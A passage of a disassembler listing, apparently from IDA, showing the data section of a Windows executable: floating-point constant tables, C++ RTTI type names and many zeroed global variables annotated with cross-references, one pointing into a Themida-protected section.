		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_43D608	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_425DDA+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh
off_43D764	dd offset off_427D60	; DATA XREF: ___:00427F3Co
					; ___:00428028o
		dd 0
a_?avexception@	db '.?AVexception@@',0
off_43D77C	dd offset off_427D60	; DATA XREF: ___:off_427DF0o
					; ___:00427E30o ...
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_43D79C	dd offset off_427D60	; DATA XREF: ___:off_427E38o
					; ___:00427E7Co ...
		dd 0
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_43D7BC	dd offset off_427D60	; DATA XREF: ___:off_427E84o
					; ___:00427EC8o ...
		dd 0
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 10h
off_43D7E0	dd offset off_427D60	; DATA XREF: ___:off_427ED0o
					; ___:00427F0Co
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_42470C
		align 10h
dword_43D800	dd 2 dup(0)		; DATA XREF: sub_40111D+C8o
dword_43D808	dd 2 dup(0)		; DATA XREF: sub_40111D+62o
					; ___:0040146Eo ...
dword_43D810	dd 0			; DATA XREF: ___:004015B0o
					; sub_401ACD+B08o ...
		dd 5 dup(0)
dword_43D828	dd 0			; DATA XREF: sub_401ACD+B64r
					; sub_4150B5+60r
		dd 2D9h	dup(0)
dword_43E390	dd 0			; DATA XREF: sub_401ACD+5E63r
					; sub_401ACD+5F40r ...
		dd 7Fh dup(0)
dword_43E590	dd 0			; DATA XREF: sub_40B0F7+41w
					; sub_40B232+40w ...
dword_43E594	dd 0			; DATA XREF: sub_40B0F7+47w
					; sub_40B232+46w ...
dword_43E598	dd 0			; DATA XREF: sub_40B0F7+52w
					; sub_40B232+3Ar ...
dword_43E59C	dd 0			; DATA XREF: sub_40111D+Cr
					; sub_4017ED+B9w ...
dword_43E5A0	dd 0			; DATA XREF: sub_40B232+75r
					; sub_40B413+2Aw ...
dword_43E5A4	dd 0			; DATA XREF: ___:004015FFw
					; ___:00401677w ...
byte_43E5A8	db 0			; DATA XREF: sub_4017ED+91o
					; sub_401ACD+5DA8r ...
		align 4
		dd 1C69h dup(0)
dword_445750	dd 2A3Fh dup(0)		; DATA XREF: ___:00433E54o
		db 0
byte_45004D	db 3 dup(0)		; DATA XREF: ___:00438140o
		dd 1CFCh dup(0)
		db 0
byte_457441	db 3 dup(0)		; DATA XREF: ___:off_438BACo
		dd 0F338h dup(0)
		db 0
byte_494125	db 3 dup(0)		; DATA XREF: Themida_:0055D785o
					; Themida_:0055D792o
dword_494128	dd 8447h dup(0)
		db 0
byte_4B5245	db 3 dup(0)		; DATA XREF: ___:off_438A18o
		dd 5852h dup(0)
dword_4CB390	dd 0			; DATA XREF: sub_40111D+FDw
					; sub_40B0F7+13o ...
dword_4CB394	dd 0			; DATA XREF: ___:0040125Ew
					; sub_401ACD:loc_4044D8r ...
dword_4CB398	dd 0			; DATA XREF: ___:loc_4016FFo
dword_4CB39C	dd 20h dup(0)		; DATA XREF: ___:004016B6o
					; ___:00401750o ...
dword_4CB41C	dd 10h dup(0)		; DATA XREF: ___:004016CCo
dword_4CB45C	dd 24h dup(0)		; DATA XREF: ___:004016E3o
dword_4CB4EC	dd 0			; DATA XREF: ___:004016D7w
					; ___:00401767w ...
dword_4CB4F0	dd 0			; DATA XREF: ___:004016F6w
		align 10h
byte_4CB500	db 0			; DATA XREF: sub_401955+28r
					; sub_401955+30o
		align 4
dword_4CB504	dd 0			; DATA XREF: ___:00401704w
					; ___:0040171Br ...
dword_4CB508	dd 0			; DATA XREF: ___:004016BBw
					; sub_401ACD+8BEr
dword_4CB50C	dd 0			; DATA XREF: sub_401ACD+7DC0o
					; sub_40C9A5+13o ...
dword_4CB510	dd 0			; DATA XREF: sub_409B13+4A7w
					; sub_409B13+4EBr ...
dword_4CB514	dd 0			; DATA XREF: sub_409B13+65w
					; sub_4196BD+166r
dword_4CB518	dd 0			; DATA XREF: sub_409B13+80Bw
					; sub_409B13+880r ...
dword_4CB51C	dd 0			; DATA XREF: sub_409B13+9D8w
					; sub_409B13+A43r ...
dword_4CB520	dd 0			; DATA XREF: sub_409B13+98Aw
					; sub_409B13+A13r ...
dword_4CB524	dd 0			; DATA XREF: sub_409B13+48Dw
					; sub_409B13+4DBr ...
dword_4CB528	dd 0			; DATA XREF: sub_409B13+213w
					; sub_409B13+234r
dword_4CB52C	dd 0			; DATA XREF: sub_409B13+9CBw
					; sub_409B13+A3Br ...
dword_4CB530	dd 0			; DATA XREF: sub_409B13+372w
					; sub_409B13+3C7r ...
dword_4CB534	dd 0			; DATA XREF: sub_409B13+40Fw
					; sub_41AA43+11Er
dword_4CB538	dd 0			; DATA XREF: sub_409B13+37Fw
					; sub_409B13+3CFr ...
dword_4CB53C	dd 0			; DATA XREF: sub_409B13+3C0w
					; sub_418C8F+ADr
dword_4CB540	dd 0			; DATA XREF: sub_409B13+55Aw
					; sub_40F0D6+115r ...
dword_4CB544	dd 0			; DATA XREF: sub_409B13+72w
					; sub_409B13+D2r ...
dword_4CB548	dd 0			; DATA XREF: sub_409B13+97Dw
					; sub_409B13+A06r ...
dword_4CB54C	dd 0			; DATA XREF: sub_409B13+3A6w
					; sub_409B13+3E7r ...
dword_4CB550	dd 0			; DATA XREF: sub_409B13+859w
					; sub_409B13+8ACr ...
dword_4CB554	dd 0			; DATA XREF: sub_409B13+2A5w
					; sub_409B13+2F0r ...
dword_4CB558	dd 0			; DATA XREF: sub_409B13+84Cw
					; sub_409B13+8A4r ...
dword_4CB55C	dd 0			; DATA XREF: sub_409B13+B3w
dword_4CB560	dd 0			; DATA XREF: sub_409B13+866w
					; sub_409B13+8B4r ...
dword_4CB564	dd 0			; DATA XREF: sub_409B13+54Dw
					; sub_409B13+6D0r ...
dword_4CB568	dd 0			; DATA XREF: sub_409B13+58w
					; sub_409B13+CAr ...
dword_4CB56C	dd 0			; DATA XREF: sub_409B13+934w
dword_4CB570	dd 0			; DATA XREF: sub_401ACD:loc_403F26r
					; sub_409B13+A95w ...
dword_4CB574	dd 0			; DATA XREF: sub_409B13+A6w
					; sub_409B13+F2r
dword_4CB578	dd 0			; DATA XREF: sub_409B13+480w
					; sub_409B13+4D3r ...
dword_4CB57C	dd 0			; DATA XREF: sub_409B13+5F6w
					; sub_40BFA4+20r
dword_4CB580	dd 0			; DATA XREF: sub_409B13+9BEw
					; sub_409B13+A33r
dword_4CB584	dd 0			; DATA XREF: sub_409B13+5E9w
					; sub_409B13+754r ...
dword_4CB588	dd 0			; DATA XREF: sub_409B13+A0Cw
dword_4CB58C	dd 0			; DATA XREF: sub_409B13+B50w
dword_4CB590	dd 0			; DATA XREF: sub_409B13+7FEw
					; sub_409B13+86Dr ...
dword_4CB594	dd 0			; DATA XREF: sub_409B13+1B3w
					; sub_40B2F2+3Do ...
dword_4CB598	dd 0			; DATA XREF: sub_409B13+997w
					; sub_409B13+A1Br ...
dword_4CB59C	dd 0			; DATA XREF: sub_409B13+38Cw
					; sub_409B13+3D7r ...
dword_4CB5A0	dd 0			; DATA XREF: sub_409B13+399w
					; sub_409B13+3DFr ...
dword_4CB5A4	dd 0			; DATA XREF: sub_409B13+C85w
					; sub_409B13+C8Cr ...
dword_4CB5A8	dd 0			; DATA XREF: sub_409B13+6ACw
					; ___:00410890r
dword_4CB5AC	dd 0			; DATA XREF: sub_40111D+1Dr
					; sub_40111D+23r ...
dword_4CB5B0	dd 0			; DATA XREF: sub_409B13+4B4w
					; sub_4153BD+207r
dword_4CB5B4	dd 0			; DATA XREF: sub_409B13+9E5w
					; sub_409B13+A4Br ...
dword_4CB5B8	dd 0			; DATA XREF: sub_401000+51r
					; sub_409B13+2B2w ...
dword_4CB5BC	dd 0			; DATA XREF: sub_409B13+7Fw
					; sub_409B13+DAr ...
dword_4CB5C0	dd 0			; DATA XREF: sub_401ACD+5912r
					; sub_401ACD+79CFr ...
dword_4CB5C4	dd 0			; DATA XREF: ___:004012ADr
					; sub_401ACD+5118r ...
dword_4CB5C8	dd 0			; DATA XREF: sub_409B13+825w
					; sub_409B13+890r ...
dword_4CB5CC	dd 0			; DATA XREF: sub_409B13+9A4w
					; sub_409B13+A23r
dword_4CB5D0	dd 0			; DATA XREF: sub_409B13+C0Ew
					; sub_409B13+C3Fr
dword_4CB5D4	dd 0			; DATA XREF: sub_409B13+2CCw
					; sub_4184E2+47r
dword_4CB5D8	dd 0			; DATA XREF: sub_409B13+22Dw
dword_4CB5DC	dd 0			; DATA XREF: sub_409B13+91Aw
					; sub_409B13+92Er
dword_4CB5E0	dd 0			; DATA XREF: sub_409B13+C28w
dword_4CB5E4	dd 0			; DATA XREF: sub_409B13+2D9w
					; sub_4184E2+4Fr
dword_4CB5E8	dd 0			; DATA XREF: sub_409B13+574w
					; sub_409B13+6E8r ...
dword_4CB5EC	dd 0			; DATA XREF: sub_409B13+83Fw
					; sub_409B13+873r
dword_4CB5F0	dd 0			; DATA XREF: sub_409B13+220w
					; sub_409B13+23Cr
dword_4CB5F4	dd 0			; DATA XREF: sub_409B13+172w
					; sub_409B13+1C2r ...
dword_4CB5F8	dd 0			; DATA XREF: sub_401ACD+1E31r
					; sub_401ACD+5AC8r ...
dword_4CB5FC	dd 0			; DATA XREF: sub_4017ED+C4r
					; sub_401ACD+51A2r ...
dword_4CB600	dd 0			; DATA XREF: sub_409B13+567w
					; sub_409B13+6DCr ...
dword_4CB604	dd 0			; DATA XREF: sub_409B13+8DBw
					; sub_409B13:loc_40A40Cw ...
dword_4CB608	dd 0			; DATA XREF: sub_401000+26r
					; sub_409B13+28Bw ...
dword_4CB60C	dd 0			; DATA XREF: sub_401ACD+795Ar
					; sub_409B13+69Fw ...
dword_4CB610	dd 0			; DATA XREF: sub_409B13+32Dw
					; sub_409B13+341r ...
dword_4CB614	dd 0			; DATA XREF: sub_409B13+3B3w
					; sub_409B13+3EFr ...
dword_4CB618	dd 0			; DATA XREF: sub_409B13+C01w
					; sub_409B13+C37r
dword_4CB61C	dd 0			; DATA XREF: sub_409B13+818w
					; sub_409B13+888r ...
dword_4CB620	dd 0			; DATA XREF: sub_409B13+206w
					; sub_409B13+227r
dword_4CB624	dd 0			; DATA XREF: sub_409B13+18Cw
					; sub_409B13+1D2r ...
dword_4CB628	dd 0			; DATA XREF: sub_409B13+832w
					; sub_409B13+898r ...
dword_4CB62C	dd 0			; DATA XREF: sub_409B13+624w
					; sub_409B13+774r
dword_4CB630	dd 0			; DATA XREF: sub_401000+5Ar
					; sub_409B13+2BFw ...
dword_4CB634	dd 0			; DATA XREF: sub_409B13+66Bw
					; sub_409B13+79Cr ...
dword_4CB638	dd 0			; DATA XREF: sub_409B13+320w
					; sub_409B13+334r ...
dword_4CB63C	dd 0			; DATA XREF: sub_409B13+644w
					; sub_409B13+784r ...
dword_4CB640	dd 0			; DATA XREF: sub_409B13+44Cw
					; sub_409B13+4AEr ...
dword_4CB644	dd 0			; DATA XREF: sub_409B13+199w
					; sub_409B13+1DAr ...
dword_4CB648	dd 0			; DATA XREF: sub_409B13+365w
					; sub_409B13+3BAr ...
dword_4CB64C	dd 0			; DATA XREF: sub_409B13+AA2w
dword_4CB650	dd 0			; DATA XREF: sub_409B13+5DCw
					; sub_409B13+748r ...
dword_4CB654	dd 0			; DATA XREF: sub_4017ED+3Er
					; sub_401ACD+5154r ...
dword_4CB658	dd 0			; DATA XREF: sub_409B13+4Bw
					; sub_409B13+C2r ...
dword_4CB65C	dd 0			; DATA XREF: sub_409B13+473w
					; sub_409B13+4CBr ...
dword_4CB660	dd 0			; DATA XREF: sub_409B13+165w
					; sub_409B13+1BAr ...
dword_4CB664	dd 0			; DATA XREF: sub_409B13+9FFw
					; sub_409B13+A5Br ...
dword_4CB668	dd 0			; DATA XREF: sub_409B13+685w
					; sub_409B13+7ACr ...
dword_4CB66C	dd 0			; DATA XREF: sub_401955+D1r
					; sub_401ACD+51B7r ...
dword_4CB670	dd 0			; DATA XREF: sub_409B13+C1Bw
					; sub_409B13+C47r
dword_4CB674	dd 0			; DATA XREF: sub_409B13+3Ew
					; sub_409B13+BAr ...
dword_4CB678	dd 0			; DATA XREF: sub_401000+45r
					; sub_409B13+298w ...
dword_4CB67C	dd 0			; DATA XREF: sub_409B13+651w
					; sub_409B13+78Cr ...
dword_4CB680	dd 0			; DATA XREF: sub_409B13+637w
					; sub_409B13+77Cr ...
dword_4CB684	dd 0			; DATA XREF: sub_401ACD+73BAr
					; sub_409B13+C92w
dword_4CB688	dd 0			; DATA XREF: sub_409B13+879w
					; ___:004168D6r ...
dword_4CB68C	dd 0			; DATA XREF: sub_409B13+112w
dword_4CB690	dd 0			; DATA XREF: sub_409B13+BE7w
					; sub_409B13+C22r
dword_4CB694	dd 0			; DATA XREF: sub_401ACD+2FE5r
					; sub_401ACD+5F99r ...
dword_4CB698	dd 0			; DATA XREF: sub_409B13+459w
					; sub_409B13+4BBr ...
dword_4CB69C	dd 0			; DATA XREF: sub_409B13+49Aw
					; sub_409B13+4E3r ...
dword_4CB6A0	dd 0			; DATA XREF: sub_409B13+466w
					; sub_409B13+4C3r ...
dword_4CB6A4	dd 0			; DATA XREF: sub_401955+89r
					; sub_401ACD+51D4r ...
dword_4CB6A8	dd 0			; DATA XREF: sub_409B13+1A6w
					; sub_409B13+1E2r ...
dword_4CB6AC	dd 0			; DATA XREF: sub_409B13+9F2w
					; sub_409B13+A53r ...
dword_4CB6B0	dd 0			; DATA XREF: sub_409B13+158w
					; sub_409B13+1ADr ...
dword_4CB6B4	dd 0			; DATA XREF: sub_409B13+8Cw
					; sub_409B13+E2r ...
dword_4CB6B8	dd 0			; DATA XREF: sub_409B13+610w
					; sub_409B13+764r ...
dword_4CB6BC	dd 0			; DATA XREF: sub_409B13+B43w
					; sub_409B13+B5Fr
dword_4CB6C0	dd 0			; DATA XREF: sub_409B13+33Aw
					; sub_419652+55r
dword_4CB6C4	dd 0			; DATA XREF: sub_409B13+27Ew
					; sub_409B13+2D3r ...
dword_4CB6C8	dd 0			; DATA XREF: sub_409B13+BAAw
dword_4CB6CC	dd 0			; DATA XREF: sub_409B13+AECw
					; sub_40AB32+CEr
dword_4CB6D0	dd 0			; DATA XREF: sub_409B13+ADFw
					; sub_409B13+AE6r ...
dword_4CB6D4	dd 0			; DATA XREF: sub_4017ED+A6r
					; sub_401ACD+5133r ...
dword_4CB6D8	dd 0			; DATA XREF: sub_401ACD+5125r
					; sub_401ACD+7981r ...
dword_4CB6DC	dd 0			; DATA XREF: sub_409B13+BF4w
					; sub_409B13+C2Fr
dword_4CB6E0	dd 0			; DATA XREF: sub_401ACD+1E57r
					; sub_401ACD+5AEEr ...
dword_4CB6E4	dd 0			; DATA XREF: sub_409B13+9B1w
					; sub_409B13+A2Br ...
dword_4CB6E8	dd 0			; DATA XREF: sub_409B13+65Ew
					; sub_409B13+794r ...
dword_4CB6EC	dd 0			; DATA XREF: sub_40111D+12r
					; sub_4017ED+D0r ...
dword_4CB6F0	dd 0			; DATA XREF: sub_409B13+59Bw
					; sub_409B13+70Cr ...
dword_4CB6F4	dd 0			; DATA XREF: sub_409B13+B36w
					; sub_409B13+B57r
dword_4CB6F8	dd 0			; DATA XREF: sub_409B13+540w
					; sub_409B13+6C4r ...
dword_4CB6FC	dd 0			; DATA XREF: sub_409B13+B29w
					; sub_409B13+B4Ar
dword_4CB700	dd 0			; DATA XREF: ___:00401273r
					; sub_409B13+31w ...
dword_4CB704	dd 0			; DATA XREF: sub_409B13+17Fw
					; sub_409B13+1CAr ...
		dd 0
dword_4CB70C	dd 0			; DATA XREF: sub_409B13+927w
					; sub_409B13+93Br
dword_4CB710	dd 0			; DATA XREF: sub_409B13+99w
					; sub_409B13+EAr ...
dword_4CB714	dd 0			; DATA XREF: sub_409B13:loc_409C11w
					; sub_409B13+12Bw ...
dword_4CB718	dd 0			; DATA XREF: sub_409B13+126w
					; sub_40A7CF+1Cr
dword_4CB71C	dd 0			; DATA XREF: sub_409B13:loc_409D01w
					; sub_409B13:loc_409D68w ...
dword_4CB720	dd 0			; DATA XREF: sub_409B13+250w
					; sub_40A7CF+50r
dword_4CB724	dd 0			; DATA XREF: ___:0040156Ar
					; sub_401ACD+4568r ...
dword_4CB728	dd 0			; DATA XREF: sub_409B13+41Ew
					; sub_40A7CF+84r
dword_4CB72C	dd 0			; DATA XREF: sub_409B13:loc_40A017w
					; sub_40A7CF:loc_40A87Fr
dword_4CB730	dd 0			; DATA XREF: sub_409B13+4FFw
					; sub_40A7CF+B8r
dword_4CB734	dd 0			; DATA XREF: sub_409B13:loc_40A2E8w
					; sub_40A7CF:loc_40A8B3r
dword_4CB738	dd 0			; DATA XREF: sub_409B13+7D0w
					; sub_40A7CF+ECr
dword_4CB73C	dd 0			; DATA XREF: sub_409B13:loc_40A3D3w
					; sub_409B13+8EFw ...
dword_4CB740	dd 0			; DATA XREF: sub_409B13+8EAw
					; sub_40A7CF+120r
dword_4CB744	dd 0			; DATA XREF: sub_401ACD:loc_406F18r
					; sub_409B13:loc_40A467w ...
dword_4CB748	dd 0			; DATA XREF: sub_409B13+94Fw
					; sub_40A7CF+154r
dword_4CB74C	dd 0			; DATA XREF: sub_401ACD+4570r
					; sub_409B13:loc_40A583w ...
dword_4CB750	dd 0			; DATA XREF: sub_409B13+A6Bw
					; sub_40A7CF+188r
dword_4CB754	dd 0			; DATA XREF: sub_409B13:loc_40A5CDw
					; sub_40A7CF:loc_40A983r
dword_4CB758	dd 0			; DATA XREF: sub_409B13+AB5w
					; sub_40A7CF+1BCr
dword_4CB75C	dd 0			; DATA XREF: sub_409B13:loc_40A617w
					; sub_40A7CF:loc_40A9B7r
dword_4CB760	dd 0			; DATA XREF: sub_409B13+AFFw
					; sub_40A7CF+1F0r
dword_4CB764	dd 0			; DATA XREF: sub_409B13:loc_40A68Bw
					; sub_40A7CF:loc_40A9EBr
dword_4CB768	dd 0			; DATA XREF: sub_409B13+B73w
					; sub_40A7CF+224r
dword_4CB76C	dd 0			; DATA XREF: sub_409B13:loc_40A6D5w
					; sub_40A7CF:loc_40AA1Fr
dword_4CB770	dd 0			; DATA XREF: sub_409B13+BBDw
					; sub_40A7CF+258r
dword_4CB774	dd 0			; DATA XREF: sub_409B13:loc_40A773w
					; sub_40A7CF:loc_40AA53r
dword_4CB778	dd 0			; DATA XREF: sub_409B13+C5Bw
					; sub_40A7CF+28Cr
dword_4CB77C	dd 0			; DATA XREF: sub_409B13:loc_40A7BDw
					; sub_40A7CF:loc_40AA87r
dword_4CB780	dd 0			; DATA XREF: sub_409B13+CA5w
					; sub_40A7CF+2C0r
dword_4CB784	dd 7 dup(0)		; DATA XREF: sub_40AC10+32o
dword_4CB7A0	dd 0			; DATA XREF: sub_40BA57+18r
					; sub_40BFEC+92w ...
dword_4CB7A4	dd 0			; DATA XREF: sub_40C125+4Dr
					; sub_40C125+2F1w ...
dword_4CB7A8	dd 7FEh	dup(0)
dword_4CD7A0	dd 6 dup(0)		; DATA XREF: sub_40C125+D2o
					; sub_40C125+13Bo ...
dword_4CD7B8	dd 0			; DATA XREF: sub_40BACE+2C4w
					; sub_40BACE+348o
dword_4CD7BC	dd 0			; DATA XREF: sub_40BACE+33Ew
					; sub_40BACE+35Ar
dword_4CD7C0	dd 0			; DATA XREF: sub_40BACE+2CFw
dword_4CD7C4	dd 0			; DATA XREF: sub_40BACE+2B9w
					; sub_40BACE:loc_40BDE3r
dword_4CD7C8	dd 20h dup(0)		; DATA XREF: sub_40BACE+2E2o
					; sub_40BACE+302o
dword_4CD848	dd 0			; DATA XREF: sub_40BACE+2D5w
dword_4CD84C	dd 0			; DATA XREF: sub_40BACE+2EFw
					; sub_40BACE+30Fw
dword_4CD850	dd 0			; DATA XREF: sub_40BACE:loc_40BE3Er
		align 8
dword_4CD858	dd 0			; DATA XREF: sub_40BACE+82w
					; sub_40BACE+101o
dword_4CD85C	dd 41h dup(0)		; DATA XREF: sub_40BACE+41o
dword_4CD960	dd 41h dup(0)		; DATA XREF: sub_40BACE+69o
dword_4CDA64	dd 0			; DATA XREF: sub_40BACE+F7w
					; sub_40BACE+113r
dword_4CDA68	dd 0			; DATA XREF: sub_40BACE+52w
dword_4CDA6C	dd 0			; DATA XREF: sub_40BACE+4Dw
					; sub_40BACE+D4r
dword_4CDA70	dd 20h dup(0)		; DATA XREF: sub_40BACE+9Ao
					; sub_40BACE+BAo
dword_4CDAF0	dd 0			; DATA XREF: sub_40BACE+8Fw
dword_4CDAF4	dd 0			; DATA XREF: sub_40BACE+A7w
					; sub_40BACE+C7w
dword_4CDAF8	dd 0			; DATA XREF: sub_40BACE:loc_40BBF7r
		align 10h
dword_4CDB00	dd 0			; DATA XREF: sub_40BACE+1A5w
					; sub_40BACE+225o
dword_4CDB04	dd 41h dup(0)		; DATA XREF: sub_40BACE+167o
dword_4CDC08	dd 41h dup(0)		; DATA XREF: sub_40BACE+18Co
dword_4CDD0C	dd 0			; DATA XREF: sub_40BACE+21Bw
					; sub_40BACE+237r
dword_4CDD10	dd 0			; DATA XREF: sub_40BACE+17Aw
dword_4CDD14	dd 0			; DATA XREF: sub_40BACE+175w
					; sub_40BACE+1F8r
dword_4CDD18	dd 20h dup(0)		; DATA XREF: sub_40BACE+1BEo
					; sub_40BACE+1DEo
dword_4CDD98	dd 0			; DATA XREF: sub_40BACE+1B1w
dword_4CDD9C	dd 0			; DATA XREF: sub_40BACE+1CBw
					; sub_40BACE+1EBw
dword_4CDDA0	dd 0			; DATA XREF: sub_40BACE:loc_40BD1Br
		align 8
dword_4CDDA8	dd 0			; DATA XREF: sub_40BACE+417w
					; sub_40BACE+470o
dword_4CDDAC	dd 0A2h	dup(0)		; DATA XREF: sub_40BACE+405o
dword_4CE034	dd 41h dup(0)		; DATA XREF: sub_40BACE+3CFo
dword_4CE138	dd 0			; DATA XREF: sub_40BACE+3FCw
					; sub_40BACE+423r
		align 10h
dword_4CE140	dd 0			; DATA XREF: sub_40BACE+466w
					; sub_40BACE+482r
dword_4CE144	dd 0			; DATA XREF: sub_40BACE+429w
dword_4CE148	dd 0			; DATA XREF: sub_40BACE+436w
dword_4CE14C	dd 0			; DATA XREF: sub_40BACE+3F6w
		dd 0
dword_4CE154	dd 0			; DATA XREF: sub_40BACE:loc_40BF66r
		dd 0
dword_4CE15C	dd 0			; DATA XREF: sub_40B71A+Er
					; sub_40B71A+32r
dword_4CE160	dd 0			; DATA XREF: sub_40B71A+9r
					; sub_40B71A+26r
dword_4CE164	dd 82h dup(0)		; DATA XREF: sub_40C59C+8Do
dword_4CE36C	dd 2 dup(0)		; DATA XREF: sub_40CF05+68o
dword_4CE374	dd 0			; DATA XREF: sub_40D8A0+8w
					; ___:0040DC6Fo
		dd 0
dword_4CE37C	dd 2 dup(0)		; DATA XREF: ___:0040DBA5o
dword_4CE384	dd 0			; DATA XREF: ___:0040E4D8r
		dd 0
		dd 0
dword_4CE390	dd 0			; DATA XREF: ___:0040E4ABr
dword_4CE394	dd 0			; DATA XREF: ___:0040E48Dr
					; ___:0040E4F6r
		dd 0
dword_4CE39C	dd 0			; DATA XREF: sub_40BACE+2AEr
		dd 0
dword_4CE3A4	dd 0			; DATA XREF: sub_40B786+1Cr
dword_4CE3A8	dd 0			; DATA XREF: ___:0040EFE9w
					; ___:0040F010r ...
		dd 3 dup(0)
dword_4CE3B8	dd 0			; DATA XREF: ___:00410906r
		align 10h
dword_4CE3C0	dd 0			; DATA XREF: sub_412352+4w
					; sub_412352+9o
		dd 109h	dup(0)
dword_4CE7E8	dd 188h	dup(0)		; DATA XREF: sub_401ACD+2F6Fo
					; sub_401ACD:loc_404AC5o
dword_4CEE08	dd 0			; DATA XREF: sub_401ACD+1A24w
					; sub_401ACD+2F67r ...
		dd 11Ch	dup(0)
dword_4CF27C	dd 1000h dup(0)		; DATA XREF: sub_4151AD+1Do
					; sub_41524Do
dword_4D327C	dd 0			; DATA XREF: sub_4151AD+13o
					; sub_41524D+Eo ...
dword_4D3280	dd 0			; DATA XREF: sub_4155F8+Fr
					; sub_4157F1+12r
		align 8
dword_4D3288	dd 0Eh dup(0)		; DATA XREF: sub_416923+Fo
dword_4D32C0	dd 80h dup(0)		; DATA XREF: sub_4175EA+41o
dword_4D34C0	dd 200h	dup(0)		; DATA XREF: sub_416F1B+C7o
					; sub_417276+DDo ...
dword_4D3CC0	dd 124h	dup(0)		; DATA XREF: sub_416F1B+D6o
					; sub_417276+F4o ...
		db 2 dup(0)
word_4D4152	dw 0			; DATA XREF: ___:off_437F28o
		dd 0DBh	dup(0)
dword_4D44C0	dd 0			; DATA XREF: sub_416F1B+86w
					; sub_4170ED+94r
dword_4D44C4	dd 0			; DATA XREF: sub_416F1B+A7w
					; sub_417553+55r ...
dword_4D44C8	dd 0			; DATA XREF: sub_416F1B+A0w
					; sub_4170ED+D6r ...
dword_4D44CC	dd 0			; DATA XREF: sub_416F1B+79w
					; sub_4170ED+35r ...
dword_4D44D0	dd 80h dup(0)		; DATA XREF: sub_417553+5Eo
dword_4D46D0	dd 0			; DATA XREF: sub_416F1B+93w
					; sub_4170ED+A2r
		align 8
dword_4D46D8	dd 0			; DATA XREF: sub_416F1B+E7o
					; sub_416F1B+103r ...
dword_4D46DC	dd 0			; DATA XREF: sub_417276+17Bw
					; sub_41741D+107w
dword_4D46E0	dd 0			; DATA XREF: sub_417276+180w
					; sub_41741D+10Dw ...
dword_4D46E4	dd 0			; DATA XREF: sub_417276+159w
					; sub_417553+4Fr
dword_4D46E8	dd 0			; DATA XREF: sub_4178BB+22w
					; sub_4178BB:loc_417A40w ...
dword_4D46EC	dd 0			; DATA XREF: sub_401ACD+3CC4o
					; sub_417789+12o ...
		dd 0
dword_4D46F4	dd 0			; DATA XREF: sub_4178BB+1Cr
					; sub_417A60+3Ar
		dd 7Fh dup(0)
dword_4D48F4	dd 0			; DATA XREF: sub_4178BB+28r
					; sub_417A60+4Aw
		dd 1944h dup(0)
dword_4DAE08	dd 0			; DATA XREF: sub_417A60+23o
dword_4DAE0C	dd 81h dup(0)		; DATA XREF: sub_401ACD+3CE2o
					; sub_417789+3Co ...
dword_4DB010	dd 17h dup(0)		; DATA XREF: sub_4187DE:loc_4188FBo
					; sub_4187DE+131o ...
dword_4DB06C	dd 80h dup(0)		; DATA XREF: sub_419594+7Co
					; sub_419594+A5o
dword_4DB26C	dd 0			; DATA XREF: sub_418B59+45w
					; sub_418B59+4Dr ...
dword_4DB270	dd 17h dup(0)		; DATA XREF: sub_419460:loc_419582o
					; sub_419460+12Do
dword_4DB2CC	dd 80h dup(0)		; DATA XREF: sub_418A99+4Co
					; sub_418A99+7Eo ...
byte_4DB4CC	db 0			; DATA XREF: sub_418B59+29r
					; sub_418B59+34w
		align 10h
